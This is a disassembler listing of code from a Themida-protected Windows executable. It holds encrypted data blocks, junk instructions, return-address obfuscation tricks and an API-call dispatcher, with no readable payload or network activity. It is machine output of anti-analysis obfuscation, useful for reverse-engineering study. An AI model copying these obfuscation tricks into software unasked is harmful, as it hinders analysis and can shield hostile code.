		dd 83B25630h, 0FC0815Ah, 2B7330B1h, 112391B5h, 3DC08106h
		dd 0F22613Bh, 1580h, 9E800h, 0A0DF0000h, 94390CE9h, 29938B84h
		dd 11221DB5h, 7895E06h,	1EE5BD29h, 0EF810611h, 5538FB3Ah
		dd 5492CDBEh, 36C78166h, 0E95538FBh, 0Dh, 4AD3C151h, 966EBE77h
		dd 0C62B6CC6h, 850F496Fh, 10h, 3E58D29h, 15E90611h, 9D000000h
		dd 233B6Eh, 0E9F0BF0Fh,	0FFFFFF7Bh, 0CFC68B29h,	944CFD58h
		dd 25E9h, 31EE7E00h, 16h, 7 dup(0)
		dd 45E90000h, 22000008h, 0C3652B24h, 0E3450B04h, 0FD276D62h
		dd 0A3054B44h, 41E2A8A7h, 0FAF56D9Ch, 0DDD21294h, 3D322D77h
		dd 1C13CD57h, 8B8CFC36h, 0C97E825Bh, 5947BBE8h,	1FE36B88h
		dd 0D6244C5Fh, 968C8DBEh, 8E65E7CFh, 4B6545Bh, 8BEE57CAh
		dd 0A9197FEDh, 53B6482Fh, 743C228Fh, 9E4FFFD9h,	0DD376391h
		dd 57588A61h, 0F93551D9h, 0C47D57DFh, 12A8B41h,	9DCBAAA8h
		dd 0F95ED240h, 0D5A79D2Ah, 0DCD3166Ch, 39297B54h, 0BAC8B836h
		dd 0F5FA658Eh, 47A3347h, 3F737CEEh, 51967DE5h, 87914F5Eh
		dd 7BD14F40h, 89A03F29h, 70ED1215h, 0C71DE01Eh,	0BE4F9A05h
		dd 5E2D5D5Ch, 0F61718C4h, 0FBC1DC4Ah, 5EA64748h, 0D51AE3ECh
		dd 535270F3h, 0A34F275h, 0F64B5505h, 0A831B539h, 1E6086EAh
		dd 9DCE626h, 5468h, 87433000h, 3B2F7588h, 0C800E934h, 8449F93Fh
		dd 968C6393h, 2654E0CFh, 0EBD6EE70h, 32980FCDh,	20000000h
		dd 0D3DC0F65h, 0C06216CAh, 5BFE0F00h, 0CF968CA8h, 8C111EC8h
		dd 0EABCB3B0h, 5A55907Bh, 9E6F9D43h, 1E3CC799h,	0F1373016h
		dd 60187E71h, 12h, 8887430Ah, 8D22D275h, 0D98FCF96h, 5758884Eh
		dd 6CB48F01h, 0FF6D62DCh, 0EDD90583h, 0A5BD26D2h, 0A99EB1CDh
		dd 0CED5A74Eh, 0B4D8C6B2h, 1916D349h, 1BBE5C84h, 8158D076h
		dd 0CF858ABBh, 0ECA95573h, 0EF3E3136h, 18685371h, 68D50F63h
		dd 68D92B67h, 245A1367h, 0C503FABAh, 8276141Bh,	84B1F9DEh
		dd 0CC38683Ch, 0FABEB1B6h, 96A13A55h, 7C813FCFh, 60A6A1C7h
		dd 10BEEAE5h, 78EFD7FCh, 197F33DCh, 4C515E8Fh, 95BF6D8Dh
		dd 0BF4898CFh, 8DC3CC79h, 0FE68B433h, 968CA959h, 64E6BECFh
		dd 30AE926Bh, 8D1FCF40h, 8824CF96h, 0C4C8201Ah,	0D28E8143h
		dd 941E8140h, 63611791h, 4B916C9Ah, 10189699h, 9B0D7FFAh
		dd 12CDE3B3h, 2F1Fh, 68B4AD00h,	0F265423Ch, 0CF968C44h
		dd 65CBB5C3h, 8D46AF29h, 792B4255h, 8243DB31h, 2965D38Dh
		dd 968CF826h, 0B9F10FCFh, 2BADE153h, 0FF000000h, 423C68B4h
		dd 6BDB2965h, 0D3A79964h, 968CBE6Ch, 0DD8FBDCFh, 82432765h
		dd 0F333DD8Dh, 6A60B8CDh, 7B65979Bh, 7976ED07h,	8143DB31h
		dd 98D87F8Eh, 57CF9B0Eh, 468046C1h, 6D870349h, 3D23FAF5h
		dd 0D03B2F75h, 10ED1B14h, 50831CC4h, 2DFABACh, 561FEE1Ch
		dd 8311F172h, 0FE244C43h, 4D0F454Ah, 0FC95B79h,	6C63E032h
		dd 0B4CBAF91h, 36h, 10E384Ah, 0DE2C44FCh, 7F8E8143h, 0F6A2F6D2h
		dd 0A7935661h, 10ED1BD5h, 89141BC4h, 60BDB2B3h,	0B09295CBh
		dd 0B472F58Bh, 73CF858Ah, 86E21007h, 0D361C985h, 81432D5Fh
		dd 78F6F96Ah, 0A0D79A5h, 0CF968CDCh, 914A9A6Ah,	8996E295h
		dd 0BE1A377Bh, 1299BEEAh, 57D5A70Eh, 373173D9h,	0D362E538h
		dd 8C4DF76Fh, 0BFA96FF8h, 0E4B7B720h, 0CDA74424h, 0BFEB1916h
		dd 0A71ECC43h, 7254D32h, 0CD29DEC2h, 58D04E58h,	8EB8CA36h
		dd 0ACC47C81h, 2B1FF476h, 8EFAB624h, 32D35989h,	0DE52EE4Dh
		dd 0B2E6C20Fh, 395E8AC6h, 4D32D409h, 0A98EE21Eh, 5343D6F2h
		dd 72E33AA4h, 0DBF66098h, 86CC7857h, 3C68B434h,	43C4C842h
		dd 65DC8E81h, 0C9D4DB0Fh, 83FD6317h, 0CDE3B39Bh, 4DFE1412h
		dd 3F303042h, 36047Bh, 0B4D40000h, 65423C68h, 968C44F2h
		dd 0C60290CFh, 640C34C9h, 6669D94Bh, 712B5987h,	82432765h
		dd 7B65D38Dh, 0D1ADA37Eh, 0D4367AD7h, 26291E74h, 36AD3852h
		dd 0FF000000h, 5AFD2965h, 0CF968CACh, 58860DBBh, 0EFCF968Ch
		dd 907CD951h, 7B659AC4h, 0CD3702F4h, 0E7A3E80h,	962BD909h
		dd 0F0AA96CFh, 82432765h, 8747DD8Dh, 7B6AE088h,	8E814309h
		dd 0E98D87Fh, 0EB57CF9Bh, 0C8A0AF99h, 994B8D96h, 0D1FFF072h
		dd 9C89433h, 0E44F209h,	3561AC94h, 9193F422h, 4EC573CFh
		dd 0CF9193A0h, 7A1916D2h, 0ED303F2Ah, 0B657C573h, 28F5FA6Eh
		dd 38FE095Fh, 4D4B0708h, 3B11384Ah, 16783092h, 0C9DD7054h
		dd 6EDF350Fh, 0DCD31761h, 0E41B1FC1h, 3Ah, 8E8143B4h, 8B8440D2h
		dd 0BC414EF9h, 103DEC84h, 70AC9CC8h, 462A2522h,	0A79796E1h
		dd 7D2D5BD5h, 65EA2727h, 0C98582B5h, 0E08806B2h, 798A9EC9h
		dd 0CC828DBFh, 2C23267Ch, 81433644h, 0F6D27F8Eh, 1A61F6A2h
		dd 0DFD5A7AEh, 59FEBA1h, 2C5ED2DDh, 0F8262965h,	0ECF968Ch
		dd 0DAEFB3Dh, 63010EADh, 0F70C03EFh, 4236A468h,	0E7590DD7h
		dd 0D2DD0F65h, 659D8F5Eh, 0A45DA0Fh, 0A612613Bh, 4EF20BB9h
		dd 414EF82Ah, 9B0D7F1Fh, 12CDE3B3h, 3C1Fh, 68B4AD00h, 37364C3Ch
		dd 0DFEBE538h, 0ED480C42h, 9FED8533h, 8C44F265h, 7690CF96h
		dd 1452A96h, 19B6FA9Dh,	2765B1EBh, 0D38D8243h, 7B65097Bh
		dd 41BA8E71h, 82B6FA53h, 16h, 3C68B4A8h, 44F26542h, 3BCF968Ch
		dd 2765530Dh, 0D38D8243h, 8143097Bh, 98D87F8Eh,	3ACF9B0Eh
		dd 0C17B910Eh, 0A2ED2960h, 5693E934h, 0F1A74459h, 0D9AF5476h
		dd 0B55E884Eh, 3D13818Eh, 977679EBh, 99466D6Bh,	424819E5h
		dd 0F1A5032Eh, 0FB118E81h, 0DA56D5A2h, 68B41A74h, 0C4C8423Ch
		dd 0DC8E8143h, 77F1037Fh, 8C6595BAh, 56E2CF96h,	939C4ED8h
		dd 28A2D60Ah, 0CDE3B39Bh, 561F12h, 0B4AD0000h, 646BD868h
		dd 7729A799h, 8C44F265h, 0B5C3CF96h, 0DB0F65CBh, 8CD10116h
		dd 0DA56CF96h, 8BEF51ACh, 82430D7Fh, 8D1AC84Fh,	0E05CCF96h
		dd 25221EEFh, 4BF9F673h, 1E316DDDh, 0CF968CF0h,	0BFAFF977h
		dd 7B82F8B0h, 1FAD09h, 0D7F10000h, 89DB2F50h, 0CC3E728Dh
		dd 423C68B4h, 8C44F265h, 0D3BCF96h, 43276553h, 7BD38D82h
		dd 8E814309h, 0E98D87Fh, 0EB57CF9Bh, 0B6A98BFh,	4BF9CF92h
		dd 9676F127h, 3ECFC07Ch, 0A346E02h, 0A1F34F05h,	69D9ABA4h
		dd 0D1598766h, 0E25E5193h, 0B71A1B6h, 7AF6CF92h, 0EEA6736h
		dd 0F6808FBEh, 0BEA27B74h, 0EC3F5000h, 0F1D5A30Fh, 0B4DB1743h
		dd 0C9810A86h, 0E50B6F9Dh, 0DC0F656Bh, 6216CAD3h, 0C7B9ED37h
		dd 2965C4C8h, 968CF826h, 0B9F10FCFh, 0B4F6F96Bh, 0D3DC0F65h
		dd 9BC7395Fh, 12CDE3B3h, 571Fh,	68B4AD00h, 7B65423Ch, 53086DB3h
		dd 0E4600878h, 95F4C373h, 32A440CFh, 96DA79DEh,	0B9271381h
		dd 10745037h, 0C5377B76h, 5AFD2965h, 0CF968CACh, 17650DBBh
		dd 33D80F65h, 7CE43936h, 828DB4CEh, 77ADC57Bh, 7B87F9F6h
		dd 0E7E49907h, 28BEB3C7h, 2FAD0A40h, 0FF000000h, 423C68B4h
		dd 8C44F265h, 0D3BCF96h, 43276553h, 15FE6982h, 19C72629h
		dd 0B02E12EBh, 0DC0F65CEh, 8CD07E11h, 0D957CF96h, 8AEE52ABh
		dd 81431660h, 0F6D27F8Eh, 0CE61F6A2h, 93D5A7ADh, 0A6022F65h
		dd 0F16C86F2h, 0C94EBAFEh, 0CF9D764Ch, 0C61EEF1Dh, 0C55F0B04h
		dd 0F91F131Ch, 6BB2BDAFh, 0B75DC3ECh, 4BDC50DFh, 0F65C538Dh
		dd 409E0C8Ah, 0A587460Dh, 21CF90ACh, 141C8A94h,	27131CCEh
		dd 46B664EBh, 3F4DBF76h, 0EF5AA27Bh, 6A201DE0h,	0DA232C18h
		dd 4BDC1266h, 0F65C538Dh, 0CDBDB2ACh, 0EF5BB0B7h, 0B5231DE0h
		dd 0E8F62CFDh, 77CA0321h, 78CCA4CDh, 0Ch, 1E01820Ch, 81663FAh
		dd 686EA60h, 738A8543h,	0ED303F29h, 425B5497h, 38C5CA7Ah
		dd 926B64DCh, 0C919E4Ah, 0EF3E3130h, 46A7A895h,	27C6C97Eh
		dd 0E0895037h, 405h, 4E88300h, 5C240487h, 56240C89h, 0C681E689h
		dd 4, 4EE81h, 34870000h, 2C895C24h, 38E16824h, 1C890000h
		dd 61B85024h, 5006180Ah
		dd 0EC83585Dh, 24248904h, 4240481h, 5B000000h, 8B850h
		dd 0D8010000h, 58008F55h, 52241C8Bh, 0C281E289h, 4, 4C281h
		dd 14870000h, 34FF5C24h, 0C4835D24h, 6B65E904h,	81B8FFF9h
		dd 50EF84Ch, 315C2AC2h,	0BBADC689h, 181223B8h, 0FFC50306h
		dd 0D01BA1E0h, 6BED910Eh, 453D7162h, 0E5608C01h, 672E734Ch
		dd 308258h
		db 40h,	0F1h
word_5BAE8E	dw 668Eh		; CODE XREF: Themida_:005BAEB4j
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pushf
		add	eax, 4A92B286h
		add	eax, 0A22C40Eh
		and	dh, ch
		dec	edx
		jno	short loc_5BAF09
		out	0Ah, eax	; DMA controller, 8237A-5.
					; single mask bit register
					; 0-1: select channel (00=0; 01=1; 10=2; 11=3)
					; 2: 1=set mask	for channel; 0=clear mask (enable)
		xlat
		cmp	ebx, [ecx]
		and	eax, 6847D688h
		inc	edi
		xchg	eax, esi
		push	ebp
		sub	al, 41h
		out	dx, eax
		int	3		; Trap to Debugger
		jp	short near ptr word_5BAE8E
		test	[ebx+edi*2-62h], ch
		pop	edi
		and	dword ptr [edx-73h], 18140B8Dh
		push	es
		push	0
		push	eax
		call	sub_5BAECE
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BAECE	proc near		; CODE XREF: Themida_:005BAEC6p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5BAECE	endp

; ---------------------------------------------------------------------------
		sub	[edx-12h], ebx
		pusha
		mov	di, 13D1h
		popa
		and	dl, 69h
		mov	[ebp+611285Dh],	ecx
		push	0
		push	eax
		call	sub_5BAEFB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BAEFB	proc near		; CODE XREF: Themida_:005BAEF3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax


loc_5BAF09:				; CODE XREF: Themida_:005BAEA1j
		push	eax
		retn
sub_5BAEFB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5Bh
		dd 9C066C93h, 0B9606654h, 376B9669h, 1421852Bh,	0C7610611h
		dd 112DD185h, 58F006h, 56006A00h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0B50BA6B4h, 6113091h
		dd 270985C7h, 611h, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 140424h, 53430000h, 5CB62FC3h, 1BFDB5FFh
		dd 6A0611h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 6570A6C3h, 72C0E381h, 95FF4C8Ah, 6111DA9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 9EC35343h
		dd 8068E639h, 3251B529h, 6A0611h, 5C595FFh, 0C08B0611h
		dd 0AA951EEBh, 0C78C25A4h, 0DDE4D183h, 0EE305AB3h, 149E1166h
		dd 850AD131h, 0B40530F7h, 9149ED74h, 8E8h, 61626F00h, 1F1BFD21h
		dd 1185239Bh, 5A061126h, 0C281CC8Ah, 6570h, 68CBB70Fh
		dd 0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+6110EDDh]
		pop	esi
		movzx	edi, cx


loc_5BB022:				; CODE XREF: Themida_:005BB089j
		push	dword ptr [esi+edx]
		mov	[ebp+61106CDh],	esi
		pop	ebx
		jmp	loc_5BB041
; ---------------------------------------------------------------------------
		db 2Eh,	0A1h, 5Eh
		db 8Dh,	36h
		dw 0D2C0h
		dd 0F75879F1h, 0D51FD58Dh
		db 0A9h
; ---------------------------------------------------------------------------


loc_5BB041:				; CODE XREF: Themida_:005BB02Cj
		add	ebx, 1166964Bh
		mov	ecx, [ebp+6110E81h]
		sub	ebx, 45792913h
		jmp	loc_5BB05D
; ---------------------------------------------------------------------------
		dd 0B8E31673h
		db 14h
; ---------------------------------------------------------------------------


loc_5BB05D:				; CODE XREF: Themida_:005BB053j
		sub	ebx, 6010DC4Eh
		sub	eax, [ebp+61112F5h]
		push	ebx
		mov	edi, [ebp+6110B05h]
		pop	dword ptr [edx+esi]
		mov	di, 4127h
		sub	esi, 3
		mov	di, 7F1Bh
		dec	esi
		push	ebx
		mov	eax, edx
		pop	edi
		cmp	esi, 0FFFF9B28h
		jnz	loc_5BB022
		mov	edi, [ebp+6111459h]
		lea	ecx, [ebp+6181594h]
		push	0
		push	ecx
		call	sub_5BB0A6
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB0A6	proc near		; CODE XREF: Themida_:005BB09Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5BB0A6	endp

; ---------------------------------------------------------------------------
		dw 0BF8Ch
; ---------------------------------------------------------------------------
		add	al, 9Ah
		rcl	dword ptr [ebp-75h], cl
		popf
		jge	short loc_5BB0D2
		adc	[esi], eax
		mov	[ebp+611285Dh],	ecx
		pusha
		or	ch, 9Bh
		mov	edi, [ebp+6112309h]


loc_5BB0D2:				; CODE XREF: Themida_:005BB0BEj
		popa
		mov	dword ptr [ebp+6112DD1h], 61F4h
		push	0
		push	ecx
		call	sub_5BB0E8
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB0E8	proc near		; CODE XREF: Themida_:005BB0E0p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5BB0E8	endp

; ---------------------------------------------------------------------------
		add	eax, 5B18D89h
		adc	[esi], eax
		jnb	$+6
		mov	dword ptr [ebp+6112709h], 0
		push	0
		push	edi
		call	sub_5BB11A
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB11A	proc near		; CODE XREF: Themida_:005BB112p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5BB11A	endp

; ---------------------------------------------------------------------------
		dw 0C728h
		dd 0F08166EFh, 0CB81C135h, 2F472A80h, 1C99B5FFh, 0F9600611h
		dd 1FD58509h, 0FF610611h, 111DA995h, 11B58B06h,	6A06110Ah
		dd 0C595FF00h, 8B061105h, 9F2FEBC0h, 99314C08h,	0E877A46Ch
		dd 0AFB9460Ah, 0EC74D5C0h, 6A75FDC3h, 930976ACh, 3C45905Ah
		dd 0F32575E6h, 2013E51Bh, 9BF674Bh, 3B1DCE5Ah, 8D8DD348h
		dd 6181677h, 0BCD8589h,	0E4800611h, 5D8D8963h, 0C7061128h
		dd 112DD185h, 5C8406h, 0D9853100h, 0E8061106h, 0Fh, 0BBD40590h
		dd 67ACB1D6h, 51B19506h, 89165F58h, 112A0595h, 85C75E06h
		dd 6112709h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5BB1E3
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB1E3	proc near		; CODE XREF: Themida_:005BB1DBp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5BB1E3	endp

; ---------------------------------------------------------------------------
		dec	ebp
		add	[ecx], cl
		xor	eax, 51858BF5h
		push	es
		adc	[esi], eax
		xor	dl, 0BDh
		push	dword ptr [ebp+61106B9h]
		push	0
		push	eax
		call	sub_5BB212
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB212	proc near		; CODE XREF: Themida_:005BB20Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5BB212	endp

; ---------------------------------------------------------------------------
		dw 0F21h
		dd 0B866F6BFh, 95FFED6Ch, 6111DA9h, 0FF9958Bh, 6A0611h
		dd 5C595FFh, 0C08B0611h, 9FE54AEBh, 3AEF0432h, 20231BE1h
		dd 52FBBFBh, 0EE953529h, 0C56554B1h, 0EF22E261h, 0B75B66C8h
		dd 437B2651h, 46C2C98Dh, 0F5F0B421h, 0C2638E50h, 0C439DC68h
		dd 236A52B1h, 6EDA5061h, 0DC299A3Ah, 0E19201A8h, 51C91A03h
		dd 28A35540h, 17AC8D8Dh, 6A0618h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 189BE2C3h, 13E8A65Eh
		dd 896FE280h, 11285D8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 3B6910Ch, 0FFA06581h
		dd 14E9h, 0E1A0E700h, 0D740C3C1h, 0C1C1EF91h, 1C8274A3h
		dd 4230BE01h, 0D185C799h, 0C806112Dh, 0C7000070h, 11270985h
		dd 6, 899D8B00h, 0FF061126h, 111BFDB5h,	56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 0DF530368h, 63C88166h, 0A995FF97h, 6006111Dh, 800F60h
		dd 9000000h, 11347D9Dh,	13E96106h, 0E7000000h, 617763D9h
		dd 0F903AE1Ch, 0D0B911DBh, 740B0635h, 6A612A0Ah, 0C595FF00h
		dd 8B061105h, 601EEBC0h, 768901E1h, 8FBDDC0Ch, 3CD8BFB0h
		dd 49EC7A0Bh, 0ACDEC0D2h, 0C28D120Ah, 0B38F3662h, 0BE80Ch
		dd 8ACA0000h, 0C4339D7Fh, 93C11113h, 0FACD80D2h, 79858B5Fh
		dd 8106110Ch, 74BBC7h, 0CA8B6600h, 33E078BBh, 76EB8169h
		dd 666933C3h, 87EE281h,	0E1B8378Bh, 8123995Ah, 4B3B27C6h
		dd 8146B10Ah, 47F2BCF6h, 0B58B600Eh, 61117EDh, 61CB8B66h
		dd 56BBF681h, 95236B30h, 6110DA1h, 10CC8056h, 8166078Fh
		dd 81BA32D9h, 0AE3BC1EFh, 0E1816611h, 0C7815B46h, 11AE3BBDh
		dd 0B532AB9h, 1EB8156h,	0F000000h, 1C85h, 0DDB58900h, 0E9061104h
		dd 25h,	0D066FFF6h, 0F5FC7D8h, 0C5ACAF15h, 3D6D0382h, 19852904h
		dd 0E906112Ah, 0FFFFFF80h, 1ABC78ACh, 0FA90E9ECh, 668D8DF2h
		dd 6A061819h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0C354C350h, 0F533125h,	48Bh, 61BF6600h
		dd 0DF815B63h, 3C08AE2Fh, 285D8D89h, 0E0810611h, 46BF06BCh
		dd 2DD185C7h, 60F80611h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 663778C3h, 2392E381h
		dd 263D9D09h, 0BE660611h, 85C7D7D4h, 6112709h, 0
; ---------------------------------------------------------------------------
		mov	dl, 8Ch
		mov	edx, [ebp+6112135h]
		push	dword ptr [ebp+61133D5h]
		push	0
		push	eax
		call	sub_5BB4ED
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB4ED	proc near		; CODE XREF: Themida_:005BB4E5p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5BB4ED	endp

; ---------------------------------------------------------------------------
		xchg	bh, [ecx-6A009791h]
		test	eax, 8B06111Dh
		mov	ch, 0A9h
		xor	[ecx], dl
		push	es
		jmp	loc_5BB525
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		xchg	edi, [ebx-3F7975A5h]
		add	ah, [edx-56062EE2h]
		retn	0A3E6h
; ---------------------------------------------------------------------------
		dw 39F3h
		db 0A1h
; ---------------------------------------------------------------------------


loc_5BB525:				; CODE XREF: Themida_:005BB50Dj
		push	0
		call	dword ptr [ebp+61105C5h]
		mov	eax, eax
		jmp	short loc_5BB570
; ---------------------------------------------------------------------------
		db 0A5h, 48h, 0EDh
		dd 573E7FD5h, 81B1E5A1h, 3BDE090Bh, 0F65FF8B3h,	1F813DD8h
		dd 0F6FF06E1h, 0AE0D31B8h, 0EF755002h, 0F9F6CE65h, 0C848EA90h
		dd 6A0E37C9h, 56502D57h, 0CEE46CD9h, 0B67C5C87h, 0B958040h
; ---------------------------------------------------------------------------


loc_5BB570:				; CODE XREF: Themida_:005BB52Fj
		lea	ecx, [ebp+6181A2Ch]
		mov	esi, ebx
		mov	[ebp+611285Dh],	ecx
		mov	eax, [ebp+61127C5h]
		mov	dword ptr [ebp+6112DD1h], 60A0h
		pusha
		pusha
		or	[ebp+6111B55h],	ebx
		popa
		add	[ebp+6111E31h],	ebx
		popa
		mov	dword ptr [ebp+6112709h], 0
		or	ebx, [ebp+611237Dh]
		push	dword ptr [ebp+6110A89h]
		push	0
		push	ecx
		call	sub_5BB5BF
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB5BF	proc near		; CODE XREF: Themida_:005BB5B7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5BB5BF	endp

; ---------------------------------------------------------------------------
		push	ds
		shl	byte ptr [eax+705426B0h], 1
		and	esp, [edi-79h]
		pusha
		adc	cl, 78h
		and	ax, 69B5h
		popa
		call	dword ptr [ebp+6111DA9h]
		mov	esi, ebx
		push	0
		call	dword ptr [ebp+61105C5h]
		mov	eax, eax
		jmp	short loc_5BB642
; ---------------------------------------------------------------------------
		db 0FBh
		dd 0DD61067Bh, 64A829EEh, 0F0873248h, 130CDBCEh, 80C38139h
		dd 821523Eh, 0F9B697AEh, 0F330F5D0h, 15C13B34h,	0AE667501h
		dd 75B208E5h, 9CFC0949h, 3223CD6Ah, 8258FEC0h, 38A4DF18h
		dd 0BE5085EDh, 0E362371h, 7DF4033Bh
		db 0BEh, 94h
; ---------------------------------------------------------------------------


loc_5BB642:				; CODE XREF: Themida_:005BB5F5j
		jmp	loc_5BB7A6
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 6181A8Ah
		mov	eax, [edx+8]
		cmp	eax, 78263845h
		jnz	loc_5BB79D
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	ebx, 68694F74h
		xor	eax, ebx
		sub	eax, 4
		mov	[ebp+611285Dh],	eax
		mov	ebx, [eax+4]
		mov	edi, eax
		mov	eax, [edx+10h]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	esi, 0E98C8A7Dh
		xor	eax, esi
		sub	eax, edi
		and	eax, 0FFFFFFFCh
		sub	eax, 4
		mov	[ebp+6112DD1h],	eax
		mov	eax, [edx+14h]
		mov	[ebp+6112709h],	eax
		mov	eax, [edx+18h]
		push	ebx
		jmp	loc_5BB761
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6111FD1h]
		jmp	loc_5BB775
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61106B9h]
		jmp	loc_5BB775
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6111C99h]
		jmp	loc_5BB775
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61133D5h]
		jmp	loc_5BB775
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6110489h]
		jmp	loc_5BB775
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6110A89h]
		jmp	loc_5BB775
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6111BFDh]
		jmp	loc_5BB775
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61108E1h]
		jmp	loc_5BB775
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61103A1h]
		jmp	loc_5BB775
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61108B9h]
		jmp	loc_5BB775
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61131A9h]
		jmp	loc_5BB775
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6112A21h]
		jmp	loc_5BB775
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6112C49h]
		jmp	loc_5BB775
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61100C5h]
		jmp	loc_5BB775
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61132D9h]
		jmp	loc_5BB775
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6113199h]
		jmp	loc_5BB775
; ---------------------------------------------------------------------------


loc_5BB761:				; CODE XREF: Themida_:005BB6ACj
		mov	ebx, eax
		mov	eax, 0Bh
		mul	bx
		lea	ecx, [ebp+6181AEBh]
		add	ecx, eax
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5BB775:				; CODE XREF: Themida_:005BB6B7j
					; Themida_:005BB6C2j ...
		call	dword ptr [ebp+6111DA9h]
		pop	ebx


loc_5BB77C:				; CODE XREF: Themida_:005BB795j
		mov	eax, [ebp+611285Dh]
		cmp	[eax+4], ebx
		jnz	loc_5BB79A
		push	ebx
		push	1
		call	dword ptr [ebp+61105C5h]
		pop	ebx
		jmp	loc_5BB77C
; ---------------------------------------------------------------------------


loc_5BB79A:				; CODE XREF: Themida_:005BB785j
		popa
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_5BB79D:				; CODE XREF: Themida_:005BB65Fj
		popa
		pop	edx
		mov	eax, 77D4C96Ah
		jmp	eax
; ---------------------------------------------------------------------------


loc_5BB7A6:				; CODE XREF: Themida_:loc_5BB642j
		mov	eax, [ebp+611281Dh]
		lea	ecx, [ebp+6181BD9h]
		mov	[ecx+1], eax
		mov	eax, ebx
		jmp	loc_5BB87F
; ---------------------------------------------------------------------------
		lahf
		xlat
		inc	edx
		pop	eax
		xlat
		pushf
		inc	ebp
		retf	0C8C3h
; ---------------------------------------------------------------------------
		dw 0B6E1h
		dd 0A7ACABDAh, 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h
		dd 0B1F46BB2h, 20752096h, 6BB79B55h, 92A5BCF2h,	7594A196h
		dd 0B799603Ah, 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh
		dd 4E0097B1h, 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h
		dd 0F653F545h, 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h
		dd 756BBF97h, 0BFCF60FDh, 93BCF996h, 207D20B2h,	0ABF79B57h
		dd 9EBD9492h, 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh
		dd 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h, 0CD43F1B6h, 0F0A8h
		dd 47000000h, 0E3129D74h, 5E99E0h, 2 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5BB87F:				; CODE XREF: Themida_:005BB7B7j
		jmp	loc_5BCCBB
; ---------------------------------------------------------------------------
		push	6181ED8h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6181F96h
		jmp	loc_5519C3
